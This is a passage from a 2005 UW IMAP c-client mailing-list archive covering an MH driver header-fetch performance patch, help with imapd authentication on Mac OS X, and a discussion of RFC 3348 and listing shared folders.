sbuf.st_size) + 1); } /* slurp message */ ! read (fd,LOCAL->buf,sbuf.st_size); /* tie off file */ ! LOCAL->buf[sbuf.st_size] = '\0'; ! close (fd); /* flush message file */ /* find end of header */ ! for (i = 0,t = LOCAL->buf; *t && !(i && (*t == '\n')); i = (*t++ == '\n')); /* number of header bytes */ ! hdrsize = (*t ? ++t : t) - LOCAL->buf; ! elt->rfc822_size = /* size of entire message in CRLF form */ ! (elt->private.msg.header.text.size = ! strcrlfcpy (&elt->private.msg.header.text.data,&i,LOCAL->buf, ! hdrsize)) + ! (elt->private.msg.text.text.size = ! strcrlfcpy (&elt->private.msg.text.text.data,&i,t, ! sbuf.st_size - hdrsize)); /* add to cached size */ ! LOCAL->cachedtexts += elt->rfc822_size; } *length = elt->private.msg.header.text.size; return (char *) elt->private.msg.header.text.data; } /* MH mail fetch message text (body only) * Accepts: MAIL stream --- 610,680 ---- LOCAL->buf = (char *) fs_get ((LOCAL->buflen = sbuf.st_size) + 1); } /* slurp message */ ! if (need_text) { ! /*syslog (LOG_ALERT,"Fetching msg with text #%ld", msgno);*/ ! read (fd,LOCAL->buf,sbuf.st_size); /* tie off file */ ! LOCAL->buf[sbuf.st_size] = '\0'; ! close (fd); /* flush message file */ /* find end of header */ ! for (i = 0,t = LOCAL->buf; *t && !(i && (*t == '\n')); i = (*t++=='\n')); /* number of header bytes */ ! hdrsize = (*t ? ++t : t) - LOCAL->buf; ! elt->rfc822_size = /* size of entire message in CRLF form */ ! (elt->private.msg.header.text.size = ! strcrlfcpy (&elt->private.msg.header.text.data,&i,LOCAL->buf, ! hdrsize)) + ! (elt->private.msg.text.text.size = ! strcrlfcpy (&elt->private.msg.text.text.data,&i,t, ! sbuf.st_size - hdrsize)); /* add to cached size */ ! LOCAL->cachedtexts += elt->rfc822_size; ! } ! else { ! /* read headers only */ ! /*syslog (LOG_ALERT,"Fetching msg headers only #%ld", msgno);*/ ! char *t = LOCAL->buf; ! size_t hdrreadbytes = 0; ! for (;;) ! { ! size_t readbytes = read (fd,t,min (4096, sbuf.st_size - hdrreadbytes)); ! if (readbytes <= 0) ! break; ! hdrreadbytes += readbytes; ! t[readbytes] = '\0'; ! for (i = 0; *t && !(i && (*t == '\n')); i = (*t++=='\n')); ! if (i) ! break; ! } ! close(fd); ! hdrsize = (*t ? ++t : t) - LOCAL->buf; ! unsigned long hdrcrlfsize = ! strcrlfcpy (&elt->private.msg.header.text.data,&i,LOCAL->buf,hdrsize); ! elt->rfc822_size = /* size of entire message in CRLF form */ ! /* with no body, adjust just the header size */ ! (elt->private.msg.header.text.size = hdrcrlfsize) + ! (sbuf.st_size - (hdrcrlfsize - hdrsize)); ! elt->private.msg.text.text.data = 0; ! } } *length = elt->private.msg.header.text.size; return (char *) elt->private.msg.header.text.data; } + + /* MH mail fetch message header + * Accepts: MAIL stream + * message # to fetch + * pointer to returned header text length + * option flags + * Returns: message header in RFC822 format + */ + + char *mh_header (MAILSTREAM *stream,unsigned long msgno,unsigned long *length, + long flags) + { + return mh_msg_fetch (stream,msgno,length,flags,/*need_text=*/0); + } + /* MH mail fetch message text (body only) * Accepts: MAIL stream *************** *** 647,653 **** elt = mail_elt (stream,msgno);/* get elt */ /* snarf message if don't have it yet */ if (!elt->private.msg.text.text.data) { ! mh_header (stream,msgno,&i,flags); if (!elt->private.msg.text.text.data) return NIL; } if (!(flags & FT_PEEK)) { /* mark as seen */ --- 693,699 ---- elt = mail_elt (stream,msgno);/* get elt */ /* snarf message if don't have it yet */ if (!elt->private.msg.text.text.data) { ! mh_msg_fetch (stream,msgno,&i,flags,/*need_text=*/1); if (!elt->private.msg.text.text.data) return NIL; } if (!(flags & FT_PEEK)) { /* mark as seen */ --------------060202010904070702030107-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 24 20:29:46 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Mar 2005 20:29:46 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2P4TkMs022473 for ; Thu, 24 Mar 2005 20:29:46 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2P4Tjc8015998 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 24 Mar 2005 20:29:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2P4Tdam012466; Thu, 24 Mar 2005 20:29:40 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2P4SHjb049102 for ; Thu, 24 Mar 2005 20:28:17 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2P4SGM9009230 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 24 Mar 2005 20:28:16 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2P4SFTI021108; Thu, 24 Mar 2005 20:28:15 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2P4SE4R011720 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 24 Mar 2005 20:28:15 -0800 Message-Id: Date: Thu, 24 Mar 2005 20:30:17 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Michael Klepikov Cc: c-client@u.washington.edu Subject: Re: mh_header performance patch In-Reply-To: <42432B6C.4020404@bk.ru> References: <42432B6C.4020404@bk.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you very much! The next release will be imap-2004d, a maintenance release. imap-2004d is under a coding freeze for the upcoming Pine 4.63 release, and so your changes won't make it in in imap-2004d. However, I'm doing some related performance improvements, as part of the imap-2005 work, to other drivers. Your changes, or a variants of these changes, will definitely be part of imap-2005. Thanks again! -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 7 07:04:42 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Apr 2005 07:04:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37E4gbv000691 for ; Thu, 7 Apr 2005 07:04:42 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37E4fmg026484 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Apr 2005 07:04:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j37E4WlV018226; Thu, 7 Apr 2005 07:04:32 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j37E2ZvD066316 for ; Thu, 7 Apr 2005 07:02:35 -0700 Received: from abel.math.harvard.edu (math.harvard.edu [140.247.28.153]) by mxe1.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37E2YEc021799 for ; Thu, 7 Apr 2005 07:02:35 -0700 Received: from [140.247.29.121] (net-74786.fas.harvard.edu [140.247.29.121]) by abel.math.harvard.edu (8.11.7-20030923/8.11.7) with ESMTP id j37E2Lv05860 for ; Thu, 7 Apr 2005 10:02:21 -0400 (EDT) Message-Id: Date: Thu, 07 Apr 2005 10:02:20 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matthew Leingang To: Subject: imapd for MacOS X - Authentication errors Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I have a PowerBook G4 with Mac OS 10.3.8 and read my mail with Entourage 2004. I would like to read the messages that get deposited in /var/mail/, without having to use pine or mail as I do currently. Entourage doesn't allow you to mount file-based mailboxes (you can import them, but not subscribe to them) so I thought about using a local mailserver. I seem to have successfully installed imap but I can't authenticate. I downloaded and installed the latest imap and pop daemons from UW, using the commands $ make oxp SSLTYPE=nopwd SSLDIR=/usr SSLCERTS=/etc/sslcerts $ sudo openssl req -new -x509 -nodes -out /etc/sslcerts/imapd.pem -keyout /etc/sslcerts/imapd.pem -days 3650 Then I added this line to /etc/inetd.conf (sorry if it wraps): imap stream tcp nowait root /usr/libexec/tcpd /usr/local/libexec/imapd Finally I restarted xinetd. Now when I try to connect using an IMAP client (even "telnet localhost 143") I can't login. I get the NO LOGIN failed response. I've also tried building with the arguments SSLTYPE=unix (to allow plaintext logging in, kind of a no-no). Same problem. Related question: Once it gets working, I only want to allow connections on the IMAP port from localhost. Can I do that with the /etc/hosts.{deny,allow} files? Any clues? --Matt -- Matthew Leingang Preceptor in Mathematics Harvard University URL: http://www.math.harvard.edu/~leingang/ vCard: http://www.math.harvard.edu/~leingang/vCard.vcf -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 7 11:34:42 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Apr 2005 11:34:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37IYgKf013905 for ; Thu, 7 Apr 2005 11:34:42 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37IYeHh006901 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Apr 2005 11:34:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j37IYVmK003082; Thu, 7 Apr 2005 11:34:31 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j37IXBRe053582 for ; Thu, 7 Apr 2005 11:33:11 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37IXBPt019733 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 7 Apr 2005 11:33:11 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37IXAnX022492; Thu, 7 Apr 2005 11:33:10 -0700 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37IX8YC016835 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 7 Apr 2005 11:33:09 -0700 Message-Id: Date: Thu, 7 Apr 2005 11:33:05 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matthew Leingang Cc: c-client@u.washington.edu Subject: Re: imapd for MacOS X - Authentication errors In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Apr 2005, Matthew Leingang wrote: > Now when I try to connect using an IMAP client (even "telnet localhost 143") > I can't login. I get the NO LOGIN failed response. Does this happen when you make an SSL (port 993) connection to your IMAP server? Does Entourage do a STARTTLS command? If it doesn't, then you must use port 993 and not port 143. > I've also tried > building with the arguments SSLTYPE=unix (to allow plaintext logging in, > kind of a no-no). Same problem. Did you make sure that when the server started, that LOGINDISABLED does *not* appear in the CAPABILITY list (you'll see it in the server greeting banner)? If LOGINDISABLED appears, then you are running a SSLTYPE=nopwd build server. Note that you must do a complete rebuild (make clean) if you want to change the SSLTYPE option. There are wizardry ways to avoid this, but don't distract yourself with that for now. Please keep me informed of your progress. Unfortunately, greater security means that there are more things to go wrong, but we'll get you going and happily IMAPing. > Related question: Once it gets working, I only want to allow connections on > the IMAP port from localhost. Can I do that with the > /etc/hosts.{deny,allow} files? Yes. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 7 16:01:26 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Apr 2005 16:01:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37N1Qm7026454 for ; Thu, 7 Apr 2005 16:01:26 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37N1PhV023606 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Apr 2005 16:01:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j37N1J2q015874; Thu, 7 Apr 2005 16:01:20 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j37N0HnP066396 for ; Thu, 7 Apr 2005 16:00:18 -0700 Received: from lisbon.cc.columbia.edu (lisbon.cc.columbia.edu [128.59.39.12]) by mxe4.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37N0GZ1025183 for ; Thu, 7 Apr 2005 16:00:16 -0700 Received: from lisbon.cc.columbia.edu (localhost [127.0.0.1]) by lisbon.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j37N0F2f029944 for ; Thu, 7 Apr 2005 19:00:15 -0400 (EDT) Received: (from selsky@localhost) by lisbon.cc.columbia.edu (8.13.0/8.12.3/Submit) id j37N0FDb029943 for c-client@u.washington.edu; Thu, 7 Apr 2005 19:00:15 -0400 (EDT) Message-Id: <20050407230015.GA29882@columbia.edu> Date: Thu, 7 Apr 2005 19:00:15 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Selsky To: c-client@u.washington.edu Subject: rfc 3348 (CHILDREN extension) support? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Are there any plans to add RFC 3348 support to imapd? I'm currently trying to improve performance in Horde IMP 4.x when accessing a UW-IMAP server. IMP does 'LIST "" #shared/*' and then imapd returns a huge list of shared folders, even though the user doesn't have access to most of those folders. C: a01 LIST "" #shared/* S: * LIST (\NoSelect) "/" #shared/ * LIST (\NoSelect) "/" #shared/survey * LIST (\NoSelect) "/" #shared/exec * LIST (\NoSelect) "/" #shared/assembly * LIST (\NoSelect) "/" #shared/senate * LIST (\NoSelect) "/" #shared/mstu * LIST (\NoSelect) "/" #shared/nct ... a01 OK LIST completed Our directory layout looks like this: $ ls -ld /sharemail/shared/{,miles,admin} drwxr-xr-x 497 imapshar staff 16384 Apr 7 18:30 /sharemail/shared/ drwxrws--- 2 imapshar miles 4096 Apr 7 15:07 /sharemail/shared/mile/ drwxrws--- 2 imapshar admit 4096 May 28 2003 /sharemail/shared/admit/ I'm not in any of these groups so I'll never have access to any mailboxes within those directories. I'd like to have imapd not bother returning those mailboxes at all. From playing with Cyrus imapd, which does supprt RFC 3348, they seem to implement this behavior. Looking at the imapd source, src/osdep/unix/dummy.c, around line 280, seems to be the place to modify this behavior. After checking that an object is a directory, I can check that the user actually has permissions on the directory. Am I on the right track? Cheers, -- Matt -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 7 16:32:47 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Apr 2005 16:32:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NWlHl027756 for ; Thu, 7 Apr 2005 16:32:47 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NWjab023329 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Apr 2005 16:32:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j37NWc8Y011102; Thu, 7 Apr 2005 16:32:39 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j37NVeh0052382 for ; Thu, 7 Apr 2005 16:31:40 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NVdsJ011064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 7 Apr 2005 16:31:40 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NVdYj032250; Thu, 7 Apr 2005 16:31:39 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NVcbX022933 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Thu, 7 Apr 2005 16:31:39 -0700 Message-Id: Date: Thu, 7 Apr 2005 16:31:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matt Selsky Cc: c-client@u.washington.edu Subject: Re: rfc 3348 (CHILDREN extension) support? In-Reply-To: <20050407230015.GA29882@columbia.edu> References: <20050407230015.GA29882@columbia.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Apr 2005, Matt Selsky wrote: > Are there any plans to add RFC 3348 support to imapd? CHILDREN is being replaced by LISTEXT in the IETF IMAP Extensions Working Group. Among other desirable things, LISTEXT will require the client to indicate that it wants children information. The bad thing about CHILDREN is that a server that does it must always do it. With a UNIX filesystem, that means that you must open the directory and examine its contents, which means a lot more work in the case of % wildcards. You seem to be asking not about CHILDREN, but rather about suppressing listing of directories which you don't have access to. If you do that, you get into issues about why you can't create a mailbox with the name of a list-suppressed mailbox, or what about lower-level names that you can access. For example, suppose you can access /foo/bar/zap but not the superior /foo/bar -- do you really want to suppress bar from being listed in /foo? The point is, yes, you can do as you propose, but that isn't what CHILDREN is about, and you may create other problems for yourself (and your users). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 7 16:46:49 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Apr 2005 16:46:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NknIM028287 for ; Thu, 7 Apr 2005 16:46:49 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NkmeO023998 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Apr 2005 16:46:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j37NkhKe015996; Thu, 7 Apr 2005 16:46:43 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j37Nk0uk054210 for ; Thu, 7 Apr 2005 16:46:00 -0700 Received: from lisbon.cc.columbia.edu (lisbon.cc.columbia.edu [128.59.39.12]) by mxe3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NjvhD009053 for ; Thu, 7 Apr 2005 16:45:58 -0700 Received: from lisbon.cc.columbia.edu (localhost [127.0.0.1]) by lisbon.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j37Nju3O000232; Thu, 7 Apr 2005 19:45:56 -0400 (EDT) Received: (from selsky@localhost) by lisbon.cc.columbia.edu (8.13.0/8.12.3/Submit) id j37Njt2t000230; Thu, 7 Apr 2005 19:45:55 -0400 (EDT) Message-Id: <20050407234555.GB178@columbia.edu> Date: Thu, 7 Apr 2005 19:45:55 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Selsky To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: rfc 3348 (CHILDREN extension) support? In-Reply-To: References: <20050407230015.GA29882@columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, Thanks for the quick response and the clarification. The way we organized our shared folders a user will never have access to a child mailbox is they don't have access to the parent and they would never create folders in #shared. Am I correct in that we'd want to modify dummy_list_work() to implement this? > CHILDREN is being replaced by LISTEXT in the IETF IMAP Extensions Working > Group. Among other desirable things, LISTEXT will require the client to > indicate that it wants children information. > > The bad thing about CHILDREN is that a server that does it must always do > it. With a UNIX filesystem, that means that you must open the directory > and examine its contents, which means a lot more work in the case of % > wildcards. > > You seem to be asking not about CHILDREN, but rather about suppressing > listing of directories which you don't have access to. If you do that, > you get into issues about why you can't create a mailbox with the name of > a list-suppressed mailbox, or what about lower-level names that you can > access. For example, suppose you can access /foo/bar/zap but not the > superior /foo/bar -- do you really want to suppress bar from being listed > in /foo? > > The point is, yes, you can do as you propose, but that isn't what CHILDREN > is about, and you may create other problems for yourself (and your users). From pinedev@shivax2.cac.washington.edu Thu Apr 7 16:50:46 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Apr 2005 16:50:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37Nok5M028454 for ; Thu, 7 Apr 2005 16:50:46 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NoiOZ024175 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 7 Apr 2005 16:50:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j37Noclx014516; Thu, 7 Apr 2005 16:50:39 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j37NoHLi119142 for ; Thu, 7 Apr 2005 16:50:17 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NoG8b012146 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 7 Apr 2005 16:50:17 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NoGUB003322; Thu, 7 Apr 2005 16:50:16 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j37NoGJY026730 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Thu, 7 Apr 2005 16:50:16 -0700 Message-Id: Date: Thu, 7 Apr 2005 16:50:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matt Selsky Cc: c-client@u.washington.edu Subject: Re: rfc 3348 (CHILDREN extension) support? In-Reply-To: <20050407234555.GB178@columbia.edu> References: <20050407230015.GA29882@columbia.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Apr 2005, Matt Selsky wrote: > Am I correct in that we'd want to modify dummy_list_work() to implement > this? To alter list behavior, yes. Either there or in dummy_listed(), which has filters for other reasons. -- Mark -- 